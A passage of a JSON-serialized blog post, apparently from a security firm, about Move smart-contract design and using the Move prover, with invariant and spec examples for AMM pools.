get_price",{"type":24,"tag":327,"props":15095,"children":15096},{"style":346},[15097],{"type":29,"value":349},{"type":24,"tag":327,"props":15099,"children":15100},{"style":356},[15101],{"type":29,"value":15102},"type_info",{"type":24,"tag":327,"props":15104,"children":15105},{"style":381},[15106],{"type":29,"value":1636},{"type":24,"tag":327,"props":15108,"children":15109},{"style":1639},[15110],{"type":29,"value":15111}," TypeInfo",{"type":24,"tag":327,"props":15113,"children":15114},{"style":346},[15115],{"type":29,"value":3146},{"type":24,"tag":327,"props":15117,"children":15118},{"style":381},[15119],{"type":29,"value":1636},{"type":24,"tag":327,"props":15121,"children":15122},{"style":1639},[15123],{"type":29,"value":15124}," Decimal",{"type":24,"tag":327,"props":15126,"children":15127},{"style":356},[15128],{"type":29,"value":15129}," acquires",{"type":24,"tag":327,"props":15131,"children":15132},{"style":1639},[15133],{"type":29,"value":15134}," Oracle",{"type":24,"tag":327,"props":15136,"children":15137},{"style":346},[15138],{"type":29,"value":497},{"type":24,"tag":327,"props":15140,"children":15141},{"class":329,"line":408},[15142,15146,15151,15155,15160,15164,15169,15174,15179,15184],{"type":24,"tag":327,"props":15143,"children":15144},{"style":334},[15145],{"type":29,"value":7558},{"type":24,"tag":327,"props":15147,"children":15148},{"style":356},[15149],{"type":29,"value":15150}," oracle",{"type":24,"tag":327,"props":15152,"children":15153},{"style":381},[15154],{"type":29,"value":4809},{"type":24,"tag":327,"props":15156,"children":15157},{"style":356},[15158],{"type":29,"value":15159}," borrow_global_mut",{"type":24,"tag":327,"props":15161,"children":15162},{"style":346},[15163],{"type":29,"value":1596},{"type":24,"tag":327,"props":15165,"children":15166},{"style":1639},[15167],{"type":29,"value":15168},"Oracle",{"type":24,"tag":327,"props":15170,"children":15171},{"style":346},[15172],{"type":29,"value":15173},">(",{"type":24,"tag":327,"props":15175,"children":15176},{"style":381},[15177],{"type":29,"value":15178},"@",{"type":24,"tag":327,"props":15180,"children":15181},{"style":356},[15182],{"type":29,"value":15183},"oracle",{"type":24,"tag":327,"props":15185,"children":15186},{"style":346},[15187],{"type":29,"value":583},{"type":24,"tag":327,"props":15189,"children":15190},{"class":329,"line":421},[15191,15195,15200,15204,15209,15213,15218,15222,15227,15231,15236],{"type":24,"tag":327,"props":15192,"children":15193},{"style":334},[15194],{"type":29,"value":7558},{"type":24,"tag":327,"props":15196,"children":15197},{"style":356},[15198],{"type":29,"value":15199}," price",{"type":24,"tag":327,"props":15201,"children":15202},{"style":381},[15203],{"type":29,"value":4809},{"type":24,"tag":327,"props":15205,"children":15206},{"style":346},[15207],{"type":29,"value":15208}," table",{"type":24,"tag":327,"props":15210,"children":15211},{"style":381},[15212],{"type":29,"value":2407},{"type":24,"tag":327,"props":15214,"children":15215},{"style":356},[15216],{"type":29,"value":15217},"borrow_mut_with_default",{"type":24,"tag":327,"props":15219,"children":15220},{"style":346},[15221],{"type":29,"value":1596},{"type":24,"tag":327,"props":15223,"children":15224},{"style":1639},[15225],{"type":29,"value":15226},"TypeInfo",{"type":24,"tag":327,"props":15228,"children":15229},{"style":346},[15230],{"type":29,"value":2744},{"type":24,"tag":327,"props":15232,"children":15233},{"style":1639},[15234],{"type":29,"value":15235},"Decimal",{"type":24,"tag":327,"props":15237,"children":15238},{"style":346},[15239],{"type":29,"value":14155},{"type":24,"tag":327,"props":15241,"children":15242},{"class":329,"line":450},[15243,15248,15252,15256,15260],{"type":24,"tag":327,"props":15244,"children":15245},{"style":381},[15246],{"type":29,"value":15247},"            &",{"type":24,"tag":327,"props":15249,"children":15250},{"style":334},[15251],{"type":29,"value":2099},{"type":24,"tag":327,"props":15253,"children":15254},{"style":356},[15255],{"type":29,"value":15150},{"type":24,"tag":327,"props":15257,"children":15258},{"style":381},[15259],{"type":29,"value":66},{"type":24,"tag":327,"props":15261,"children":15262},{"style":346},[15263],{"type":29,"value":15264},"prices,\n",{"type":24,"tag":327,"props":15266,"children":15267},{"class":329,"line":481},[15268,15273],{"type":24,"tag":327,"props":15269,"children":15270},{"style":356},[15271],{"type":29,"value":15272},"            type_info",{"type":24,"tag":327,"props":15274,"children":15275},{"style":346},[15276],{"type":29,"value":2231},{"type":24,"tag":327,"props":15278,"children":15279},{"class":329,"line":500},[15280,15285,15289,15294],{"type":24,"tag":327,"props":15281,"children":15282},{"style":346},[15283],{"type":29,"value":15284},"            decimal",{"type":24,"tag":327,"props":15286,"children":15287},{"style":381},[15288],{"type":29,"value":2407},{"type":24,"tag":327,"props":15290,"children":15291},{"style":340},[15292],{"type":29,"value":15293},"one",{"type":24,"tag":327,"props":15295,"children":15296},{"style":346},[15297],{"type":29,"value":15298},"()\n",{"type":24,"tag":327,"props":15300,"children":15301},{"class":329,"line":529},[15302],{"type":24,"tag":327,"props":15303,"children":15304},{"style":346},[15305],{"type":29,"value":15306},"        );\n",{"type":24,"tag":327,"props":15308,"children":15309},{"class":329,"line":538},[15310,15314],{"type":24,"tag":327,"props":15311,"children":15312},{"style":381},[15313],{"type":29,"value":5308},{"type":24,"tag":327,"props":15315,"children":15316},{"style":356},[15317],{"type":29,"value":15318},"price\n",{"type":24,"tag":327,"props":15320,"children":15321},{"class":329,"line":547},[15322],{"type":24,"tag":327,"props":15323,"children":15324},{"style":346},[15325],{"type":29,"value":535},{"type":24,"tag":25,"props":15327,"children":15328},{},[15329,15331,15336],{"type":29,"value":15330},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":24,"tag":42,"props":15332,"children":15333},{},[15334],{"type":29,"value":15335},"instance",{"type":29,"value":15337}," of another resource (which is possible in Diem style move).",{"type":24,"tag":25,"props":15339,"children":15340},{},[15341],{"type":29,"value":15342},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":24,"tag":175,"props":15344,"children":15345},{},[15346,15351],{"type":24,"tag":179,"props":15347,"children":15348},{},[15349],{"type":29,"value":15350},"Have unique initializers for your resources",{"type":24,"tag":179,"props":15352,"children":15353},{},[15354],{"type":29,"value":15355},"Associate resources with instances directly",{"type":24,"tag":228,"props":15357,"children":15359},{"id":15358},"formal-verification",[15360],{"type":29,"value":15361},"Formal Verification",{"type":24,"tag":25,"props":15363,"children":15364},{},[15365],{"type":29,"value":15366},"Formal verification is another exciting feature.",{"type":24,"tag":25,"props":15368,"children":15369},{},[15370],{"type":29,"value":15371},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":24,"tag":25,"props":15373,"children":15374},{},[15375,15377,15382],{"type":29,"value":15376},"However, this isn't a silver bullet. The key is figuring out ",{"type":24,"tag":42,"props":15378,"children":15379},{},[15380],{"type":29,"value":15381},"what",{"type":29,"value":15383}," to prove.",{"type":24,"tag":25,"props":15385,"children":15386},{},[15387,15389,15396],{"type":29,"value":15388},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":24,"tag":57,"props":15390,"children":15393},{"href":15391,"rel":15392},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[61],[15394],{"type":29,"value":15395},"Solana AMM rounding issue",{"type":29,"value":15397}," we reported.",{"type":24,"tag":25,"props":15399,"children":15400},{},[15401],{"type":29,"value":15402},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":24,"tag":317,"props":15404,"children":15406},{"className":1553,"code":15405,"language":1552,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[15407],{"type":24,"tag":284,"props":15408,"children":15409},{"__ignoreMap":7},[15410,15471],{"type":24,"tag":327,"props":15411,"children":15412},{"class":329,"line":330},[15413,15418,15423,15427,15432,15436,15441,15445,15449,15454,15458,15462,15467],{"type":24,"tag":327,"props":15414,"children":15415},{"style":334},[15416],{"type":29,"value":15417},"  let",{"type":24,"tag":327,"props":15419,"children":15420},{"style":356},[15421],{"type":29,"value":15422}," cmp",{"type":24,"tag":327,"props":15424,"children":15425},{"style":381},[15426],{"type":29,"value":4809},{"type":24,"tag":327,"props":15428,"children":15429},{"style":346},[15430],{"type":29,"value":15431}," u256",{"type":24,"tag":327,"props":15433,"children":15434},{"style":381},[15435],{"type":29,"value":2407},{"type":24,"tag":327,"props":15437,"children":15438},{"style":340},[15439],{"type":29,"value":15440},"compare",{"type":24,"tag":327,"props":15442,"children":15443},{"style":346},[15444],{"type":29,"value":349},{"type":24,"tag":327,"props":15446,"children":15447},{"style":381},[15448],{"type":29,"value":8716},{"type":24,"tag":327,"props":15450,"children":15451},{"style":356},[15452],{"type":29,"value":15453},"lp_value_after_swap_and_fee",{"type":24,"tag":327,"props":15455,"children":15456},{"style":346},[15457],{"type":29,"value":2744},{"type":24,"tag":327,"props":15459,"children":15460},{"style":381},[15461],{"type":29,"value":8716},{"type":24,"tag":327,"props":15463,"children":15464},{"style":356},[15465],{"type":29,"value":15466},"lp_value_before_swap_u256",{"type":24,"tag":327,"props":15468,"children":15469},{"style":346},[15470],{"type":29,"value":583},{"type":24,"tag":327,"props":15472,"children":15473},{"class":329,"line":367},[15474,15479,15483,15488,15492,15496],{"type":24,"tag":327,"props":15475,"children":15476},{"style":340},[15477],{"type":29,"value":15478},"  assert!",{"type":24,"tag":327,"props":15480,"children":15481},{"style":346},[15482],{"type":29,"value":349},{"type":24,"tag":327,"props":15484,"children":15485},{"style":356},[15486],{"type":29,"value":15487},"cmp",{"type":24,"tag":327,"props":15489,"children":15490},{"style":381},[15491],{"type":29,"value":9887},{"type":24,"tag":327,"props":15493,"children":15494},{"style":397},[15495],{"type":29,"value":474},{"type":24,"tag":327,"props":15497,"children":15498},{"style":346},[15499],{"type":29,"value":15500},", ERR_INCORRECT_SWAP);\n",{"type":24,"tag":25,"props":15502,"children":15503},{},[15504,15506,15511],{"type":29,"value":15505},"The move prover really shines when we're proving relationships ",{"type":24,"tag":42,"props":15507,"children":15508},{},[15509],{"type":29,"value":15510},"between",{"type":29,"value":15512}," functions.",{"type":24,"tag":25,"props":15514,"children":15515},{},[15516,15518,15524],{"type":29,"value":15517},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":24,"tag":284,"props":15519,"children":15521},{"className":15520},[],[15522],{"type":29,"value":15523},"no_free_money_theorem",{"type":29,"value":15525}," in the move repository.",{"type":24,"tag":317,"props":15527,"children":15529},{"className":1553,"code":15528,"language":1552,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[15530],{"type":24,"tag":284,"props":15531,"children":15532},{"__ignoreMap":7},[15533,15541,15629,15671,15692,15699,15715,15741,15767,15792],{"type":24,"tag":327,"props":15534,"children":15535},{"class":329,"line":330},[15536],{"type":24,"tag":327,"props":15537,"children":15538},{"style":551},[15539],{"type":29,"value":15540},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":24,"tag":327,"props":15542,"children":15543},{"class":329,"line":367},[15544,15548,15553,15557,15562,15566,15570,15574,15579,15583,15587,15591,15595,15599,15604,15608,15612,15616,15620,15625],{"type":24,"tag":327,"props":15545,"children":15546},{"style":356},[15547],{"type":29,"value":14136},{"type":24,"tag":327,"props":15549,"children":15550},{"style":340},[15551],{"type":29,"value":15552}," no_free_money_theorem",{"type":24,"tag":327,"props":15554,"children":15555},{"style":346},[15556],{"type":29,"value":349},{"type":24,"tag":327,"props":15558,"children":15559},{"style":356},[15560],{"type":29,"value":15561},"coin1_in",{"type":24,"tag":327,"props":15563,"children":15564},{"style":381},[15565],{"type":29,"value":1636},{"type":24,"tag":327,"props":15567,"children":15568},{"style":1639},[15569],{"type":29,"value":1669},{"type":24,"tag":327,"props":15571,"children":15572},{"style":346},[15573],{"type":29,"value":2744},{"type":24,"tag":327,"props":15575,"children":15576},{"style":356},[15577],{"type":29,"value":15578},"coin2_in",{"type":24,"tag":327,"props":15580,"children":15581},{"style":381},[15582],{"type":29,"value":1636},{"type":24,"tag":327,"props":15584,"children":15585},{"style":1639},[15586],{"type":29,"value":1669},{"type":24,"tag":327,"props":15588,"children":15589},{"style":346},[15590],{"type":29,"value":3146},{"type":24,"tag":327,"props":15592,"children":15593},{"style":381},[15594],{"type":29,"value":1636},{"type":24,"tag":327,"props":15596,"children":15597},{"style":346},[15598],{"type":29,"value":5894},{"type":24,"tag":327,"props":15600,"children":15601},{"style":1639},[15602],{"type":29,"value":15603},"u64",{"type":24,"tag":327,"props":15605,"children":15606},{"style":346},[15607],{"type":29,"value":2744},{"type":24,"tag":327,"props":15609,"children":15610},{"style":1639},[15611],{"type":29,"value":15603},{"type":24,"tag":327,"props":15613,"children":15614},{"style":346},[15615],{"type":29,"value":1674},{"type":24,"tag":327,"props":15617,"children":15618},{"style":356},[15619],{"type":29,"value":13910},{"type":24,"tag":327,"props":15621,"children":15622},{"style":1639},[15623],{"type":29,"value":15624}," Pool",{"type":24,"tag":327,"props":15626,"children":15627},{"style":346},[15628],{"type":29,"value":497},{"type":24,"tag":327,"props":15630,"children":15631},{"class":329,"line":408},[15632,15637,15642,15646,15651,15655,15659,15663,15667],{"type":24,"tag":327,"props":15633,"children":15634},{"style":334},[15635],{"type":29,"value":15636},"      let",{"type":24,"tag":327,"props":15638,"children":15639},{"style":356},[15640],{"type":29,"value":15641}," share",{"type":24,"tag":327,"props":15643,"children":15644},{"style":381},[15645],{"type":29,"value":4809},{"type":24,"tag":327,"props":15647,"children":15648},{"style":340},[15649],{"type":29,"value":15650}," add_liquidity",{"type":24,"tag":327,"props":15652,"children":15653},{"style":346},[15654],{"type":29,"value":349},{"type":24,"tag":327,"props":15656,"children":15657},{"style":356},[15658],{"type":29,"value":15561},{"type":24,"tag":327,"props":15660,"children":15661},{"style":346},[15662],{"type":29,"value":2744},{"type":24,"tag":327,"props":15664,"children":15665},{"style":356},[15666],{"type":29,"value":15578},{"type":24,"tag":327,"props":15668,"children":15669},{"style":346},[15670],{"type":29,"value":583},{"type":24,"tag":327,"props":15672,"children":15673},{"class":329,"line":421},[15674,15679,15683,15688],{"type":24,"tag":327,"props":15675,"children":15676},{"style":340},[15677],{"type":29,"value":15678},"      remove_liquidity",{"type":24,"tag":327,"props":15680,"children":15681},{"style":346},[15682],{"type":29,"value":349},{"type":24,"tag":327,"props":15684,"children":15685},{"style":356},[15686],{"type":29,"value":15687},"share",{"type":24,"tag":327,"props":15689,"children":15690},{"style":346},[15691],{"type":29,"value":852},{"type":24,"tag":327,"props":15693,"children":15694},{"class":329,"line":450},[15695],{"type":24,"tag":327,"props":15696,"children":15697},{"style":346},[15698],{"type":29,"value":13439},{"type":24,"tag":327,"props":15700,"children":15701},{"class":329,"line":481},[15702,15707,15711],{"type":24,"tag":327,"props":15703,"children":15704},{"style":356},[15705],{"type":29,"value":15706},"  spec",{"type":24,"tag":327,"props":15708,"children":15709},{"style":356},[15710],{"type":29,"value":15552},{"type":24,"tag":327,"props":15712,"children":15713},{"style":346},[15714],{"type":29,"value":497},{"type":24,"tag":327,"props":15716,"children":15717},{"class":329,"line":500},[15718,15723,15728,15732,15737],{"type":24,"tag":327,"props":15719,"children":15720},{"style":356},[15721],{"type":29,"value":15722},"      pragma",{"type":24,"tag":327,"props":15724,"children":15725},{"style":356},[15726],{"type":29,"value":15727}," verify",{"type":24,"tag":327,"props":15729,"children":15730},{"style":381},[15731],{"type":29,"value":384},{"type":24,"tag":327,"props":15733,"children":15734},{"style":334},[15735],{"type":29,"value":15736},"false",{"type":24,"tag":327,"props":15738,"children":15739},{"style":346},[15740],{"type":29,"value":405},{"type":24,"tag":327,"props":15742,"children":15743},{"class":329,"line":529},[15744,15749,15754,15758,15763],{"type":24,"tag":327,"props":15745,"children":15746},{"style":356},[15747],{"type":29,"value":15748},"      ensures",{"type":24,"tag":327,"props":15750,"children":15751},{"style":356},[15752],{"type":29,"value":15753}," result_1",{"type":24,"tag":327,"props":15755,"children":15756},{"style":381},[15757],{"type":29,"value":2488},{"type":24,"tag":327,"props":15759,"children":15760},{"style":356},[15761],{"type":29,"value":15762}," coin1_in",{"type":24,"tag":327,"props":15764,"children":15765},{"style":346},[15766],{"type":29,"value":405},{"type":24,"tag":327,"props":15768,"children":15769},{"class":329,"line":538},[15770,15774,15779,15783,15788],{"type":24,"tag":327,"props":15771,"children":15772},{"style":356},[15773],{"type":29,"value":15748},{"type":24,"tag":327,"props":15775,"children":15776},{"style":356},[15777],{"type":29,"value":15778}," result_2",{"type":24,"tag":327,"props":15780,"children":15781},{"style":381},[15782],{"type":29,"value":2488},{"type":24,"tag":327,"props":15784,"children":15785},{"style":356},[15786],{"type":29,"value":15787}," coin2_in",{"type":24,"tag":327,"props":15789,"children":15790},{"style":346},[15791],{"type":29,"value":405},{"type":24,"tag":327,"props":15793,"children":15794},{"class":329,"line":547},[15795],{"type":24,"tag":327,"props":15796,"children":15797},{"style":346},[15798],{"type":29,"value":13439},{"type":24,"tag":25,"props":15800,"children":15801},{},[15802],{"type":29,"value":15803},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":24,"tag":25,"props":15805,"children":15806},{},[15807,15809,15814],{"type":29,"value":15808},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":24,"tag":42,"props":15810,"children":15811},{},[15812],{"type":29,"value":15813},"lot",{"type":29,"value":15815}," easier to reason about the protocol.",{"type":24,"tag":25,"props":15817,"children":15818},{},[15819],{"type":29,"value":15820},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":24,"tag":317,"props":15822,"children":15824},{"className":1553,"code":15823,"language":1552,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[15825],{"type":24,"tag":284,"props":15826,"children":15827},{"__ignoreMap":7},[15828,15845,15868],{"type":24,"tag":327,"props":15829,"children":15830},{"class":329,"line":330},[15831,15836,15841],{"type":24,"tag":327,"props":15832,"children":15833},{"style":356},[15834],{"type":29,"value":15835},"spec",{"type":24,"tag":327,"props":15837,"children":15838},{"style":1639},[15839],{"type":29,"value":15840}," PoolState",{"type":24,"tag":327,"props":15842,"children":15843},{"style":346},[15844],{"type":29,"value":497},{"type":24,"tag":327,"props":15846,"children":15847},{"class":329,"line":367},[15848,15853,15858,15863],{"type":24,"tag":327,"props":15849,"children":15850},{"style":356},[15851],{"type":29,"value":15852},"    invariant",{"type":24,"tag":327,"props":15854,"children":15855},{"style":356},[15856],{"type":29,"value":15857}," supply",{"type":24,"tag":327,"props":15859,"children":15860},{"style":381},[15861],{"type":29,"value":15862}," >=",{"type":24,"tag":327,"props":15864,"children":15865},{"style":346},[15866],{"type":29,"value":15867}," MINIMUM_LIQUIDITY;\n",{"type":24,"tag":327,"props":15869,"children":15870},{"class":329,"line":408},[15871],{"type":24,"tag":327,"props":15872,"children":15873},{"style":346},[15874],{"type":29,"value":592},{"type":24,"tag":25,"props":15876,"children":15877},{},[15878,15880,15886,15888,15894],{"type":29,"value":15879},"Another useful pattern for the Move prover is ",{"type":24,"tag":284,"props":15881,"children":15883},{"className":15882},[],[15884],{"type":29,"value":15885},"aborts_if",{"type":29,"value":15887},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":24,"tag":284,"props":15889,"children":15891},{"className":15890},[],[15892],{"type":29,"value":15893},"aborts_if false",{"type":29,"value":66},{"type":24,"tag":25,"props":15896,"children":15897},{},[15898],{"type":29,"value":15899},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":24,"tag":317,"props":15901,"children":15903},{"className":1553,"code":15902,"language":1552,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[15904],{"type":24,"tag":284,"props":15905,"children":15906},{"__ignoreMap":7},[15907,15971,16013,16036,16081,16094,16106,16144,16167,16255,16263,16287,16295,16316,16336,16434,16442,16470,16478,16490,16514,16549,16556,16564,16571,16586,16602,16618,16662,16766],{"type":24,"tag":327,"props":15908,"children":15909},{"class":329,"line":330},[15910,15914,15919,15923,15928,15932,15937,15941,15945,15950,15954,15958,15962,15967],{"type":24,"tag":327,"props":15911,"children":15912},{"style":356},[15913],{"type":29,"value":14136},{"type":24,"tag":327,"props":15915,"children":15916},{"style":340},[15917],{"type":29,"value":15918}," multiply_vec_by_n_coins",{"type":24,"tag":327,"props":15920,"children":15921},{"style":346},[15922],{"type":29,"value":349},{"type":24,"tag":327,"props":15924,"children":15925},{"style":356},[15926],{"type":29,"value":15927},"input",{"type":24,"tag":327,"props":15929,"children":15930},{"style":381},[15931],{"type":29,"value":1636},{"type":24,"tag":327,"props":15933,"children":15934},{"style":356},[15935],{"type":29,"value":15936}," vector",{"type":24,"tag":327,"props":15938,"children":15939},{"style":346},[15940],{"type":29,"value":1596},{"type":24,"tag":327,"props":15942,"children":15943},{"style":1639},[15944],{"type":29,"value":15603},{"type":24,"tag":327,"props":15946,"children":15947},{"style":346},[15948],{"type":29,"value":15949},">)",{"type":24,"tag":327,"props":15951,"children":15952},{"style":381},[15953],{"type":29,"value":1636},{"type":24,"tag":327,"props":15955,"children":15956},{"style":356},[15957],{"type":29,"value":15936},{"type":24,"tag":327,"props":15959,"children":15960},{"style":346},[15961],{"type":29,"value":1596},{"type":24,"tag":327,"props":15963,"children":15964},{"style":1639},[15965],{"type":29,"value":15966},"u128",{"type":24,"tag":327,"props":15968,"children":15969},{"style":346},[15970],{"type":29,"value":4344},{"type":24,"tag":327,"props":15972,"children":15973},{"class":329,"line":367},[15974,15978,15983,15987,15991,15995,16000,16004,16008],{"type":24,"tag":327,"props":15975,"children":15976},{"style":334},[15977],{"type":29,"value":15636},{"type":24,"tag":327,"props":15979,"children":15980},{"style":356},[15981],{"type":29,"value":15982}," amounts_times_coins",{"type":24,"tag":327,"props":15984,"children":15985},{"style":381},[15986],{"type":29,"value":4809},{"type":24,"tag":327,"props":15988,"children":15989},{"style":346},[15990],{"type":29,"value":15936},{"type":24,"tag":327,"props":15992,"children":15993},{"style":381},[15994],{"type":29,"value":2407},{"type":24,"tag":327,"props":15996,"children":15997},{"style":356},[15998],{"type":29,"value":15999},"empty",{"type":24,"tag":327,"props":16001,"children":16002},{"style":346},[16003],{"type":29,"value":1596},{"type":24,"tag":327,"props":16005,"children":16006},{"style":1639},[16007],{"type":29,"value":15966},{"type":24,"tag":327,"props":16009,"children":16010},{"style":346},[16011],{"type":29,"value":16012},">();\n",{"type":24,"tag":327,"props":16014,"children":16015},{"class":329,"line":408},[16016,16020,16024,16028,16032],{"type":24,"tag":327,"props":16017,"children":16018},{"style":334},[16019],{"type":29,"value":15636},{"type":24,"tag":327,"props":16021,"children":16022},{"style":356},[16023],{"type":29,"value":10999},{"type":24,"tag":327,"props":16025,"children":16026},{"style":381},[16027],{"type":29,"value":4809},{"type":24,"tag":327,"props":16029,"children":16030},{"style":397},[16031],{"type":29,"value":6695},{"type":24,"tag":327,"props":16033,"children":16034},{"style":346},[16035],{"type":29,"value":405},{"type":24,"tag":327,"props":16037,"children":16038},{"class":329,"line":421},[16039,16043,16048,16052,16056,16060,16065,16069,16073,16077],{"type":24,"tag":327,"props":16040,"children":16041},{"style":334},[16042],{"type":29,"value":15636},{"type":24,"tag":327,"props":16044,"children":16045},{"style":356},[16046],{"type":29,"value":16047}," n_coins",{"type":24,"tag":327,"props":16049,"children":16050},{"style":381},[16051],{"type":29,"value":4809},{"type":24,"tag":327,"props":16053,"children":16054},{"style":346},[16055],{"type":29,"value":15936},{"type":24,"tag":327,"props":16057,"children":16058},{"style":381},[16059],{"type":29,"value":2407},{"type":24,"tag":327,"props":16061,"children":16062},{"style":340},[16063],{"type":29,"value":16064},"length",{"type":24,"tag":327,"props":16066,"children":16067},{"style":346},[16068],{"type":29,"value":349},{"type":24,"tag":327,"props":16070,"children":16071},{"style":381},[16072],{"type":29,"value":8716},{"type":24,"tag":327,"props":16074,"children":16075},{"style":356},[16076],{"type":29,"value":15927},{"type":24,"tag":327,"props":16078,"children":16079},{"style":346},[16080],{"type":29,"value":583},{"type":24,"tag":327,"props":16082,"children":16083},{"class":329,"line":450},[16084,16089],{"type":24,"tag":327,"props":16085,"children":16086},{"style":425},[16087],{"type":29,"value":16088},"      while",{"type":24,"tag":327,"props":16090,"children":16091},{"style":346},[16092],{"type":29,"value":16093}," ({\n",{"type":24,"tag":327,"props":16095,"children":16096},{"class":329,"line":481},[16097,16102],{"type":24,"tag":327,"props":16098,"children":16099},{"style":356},[16100],{"type":29,"value":16101},"          spec",{"type":24,"tag":327,"props":16103,"children":16104},{"style":346},[16105],{"type":29,"value":497},{"type":24,"tag":327,"props":16107,"children":16108},{"class":329,"line":500},[16109,16114,16119,16123,16128,16132,16136,16140],{"type":24,"tag":327,"props":16110,"children":16111},{"style":356},[16112],{"type":29,"value":16113},"              invariant",{"type":24,"tag":327,"props":16115,"children":16116},{"style":340},[16117],{"type":29,"value":16118}," len",{"type":24,"tag":327,"props":16120,"children":16121},{"style":346},[16122],{"type":29,"value":349},{"type":24,"tag":327,"props":16124,"children":16125},{"style":356},[16126],{"type":29,"value":16127},"amounts_times_coins",{"type":24,"tag":327,"props":16129,"children":16130},{"style":346},[16131],{"type":29,"value":1674},{"type":24,"tag":327,"props":16133,"children":16134},{"style":381},[16135],{"type":29,"value":642},{"type":24,"tag":327,"props":16137,"children":16138},{"style":356},[16139],{"type":29,"value":10999},{"type":24,"tag":327,"props":16141,"children":16142},{"style":346},[16143],{"type":29,"value":405},{"type":24,"tag":327,"props":16145,"children":16146},{"class":329,"line":529},[16147,16151,16155,16159,16163],{"type":24,"tag":327,"props":16148,"children":16149},{"style":356},[16150],{"type":29,"value":16113},{"type":24,"tag":327,"props":16152,"children":16153},{"style":356},[16154],{"type":29,"value":10999},{"type":24,"tag":327,"props":16156,"children":16157},{"style":381},[16158],{"type":29,"value":2488},{"type":24,"tag":327,"props":16160,"children":16161},{"style":356},[16162],{"type":29,"value":16047},{"type":24,"tag":327,"props":16164,"children":16165},{"style":346},[16166],{"type":29,"value":405},{"type":24,"tag":327,"props":16168,"children":16169},{"class":329,"line":538},[16170,16174,16179,16184,16188,16192,16196,16200,16204,16208,16212,16217,16222,16226,16231,16235,16239,16243,16247,16251],{"type":24,"tag":327,"props":16171,"children":16172},{"style":356},[16173],{"type":29,"value":16113},{"type":24,"tag":327,"props":16175,"children":16176},{"style":356},[16177],{"type":29,"value":16178}," forall",{"type":24,"tag":327,"props":16180,"children":16181},{"style":356},[16182],{"type":29,"value":16183}," j",{"type":24,"tag":327,"props":16185,"children":16186},{"style":334},[16187],{"type":29,"value":10653},{"type":24,"tag":327,"props":16189,"children":16190},{"style":397},[16191],{"type":29,"value":6695},{"type":24,"tag":327,"props":16193,"children":16194},{"style":381},[16195],{"type":29,"value":10662},{"type":24,"tag":327,"props":16197,"children":16198},{"style":356},[16199],{"type":29,"value":11334},{"type":24,"tag":327,"props":16201,"children":16202},{"style":381},[16203],{"type":29,"value":1636},{"type":24,"tag":327,"props":16205,"children":16206},{"style":356},[16207],{"type":29,"value":15982},{"type":24,"tag":327,"props":16209,"children":16210},{"style":346},[16211],{"type":29,"value":11329},{"type":24,"tag":327,"props":16213,"children":16214},{"style":356},[16215],{"type":29,"value":16216},"j",{"type":24,"tag":327,"props":16218,"children":16219},{"style":346},[16220],{"type":29,"value":16221},"] ",{"type":24,"tag":327,"props":16223,"children":16224},{"style":381},[16225],{"type":29,"value":642},{"type":24,"tag":327,"props":16227,"children":16228},{"style":356},[16229],{"type":29,"value":16230}," input",{"type":24,"tag":327,"props":16232,"children":16233},{"style":346},[16234],{"type":29,"value":11329},{"type":24,"tag":327,"props":16236,"children":16237},{"style":356},[16238],{"type":29,"value":16216},{"type":24,"tag":327,"props":16240,"children":16241},{"style":346},[16242],{"type":29,"value":16221},{"type":24,"tag":327,"props":16244,"children":16245},{"style":381},[16246],{"type":29,"value":469},{"type":24,"tag":327,"props":16248,"children":16249},{"style":356},[16250],{"type":29,"value":16047},{"type":24,"tag":327,"props":16252,"children":16253},{"style":346},[16254],{"type":29,"value":405},{"type":24,"tag":327,"props":16256,"children":16257},{"class":329,"line":547},[16258],{"type":24,"tag":327,"props":16259,"children":16260},{"style":346},[16261],{"type":29,"value":16262},"          };\n",{"type":24,"tag":327,"props":16264,"children":16265},{"class":329,"line":557},[16266,16271,16275,16279,16283],{"type":24,"tag":327,"props":16267,"children":16268},{"style":346},[16269],{"type":29,"value":16270},"          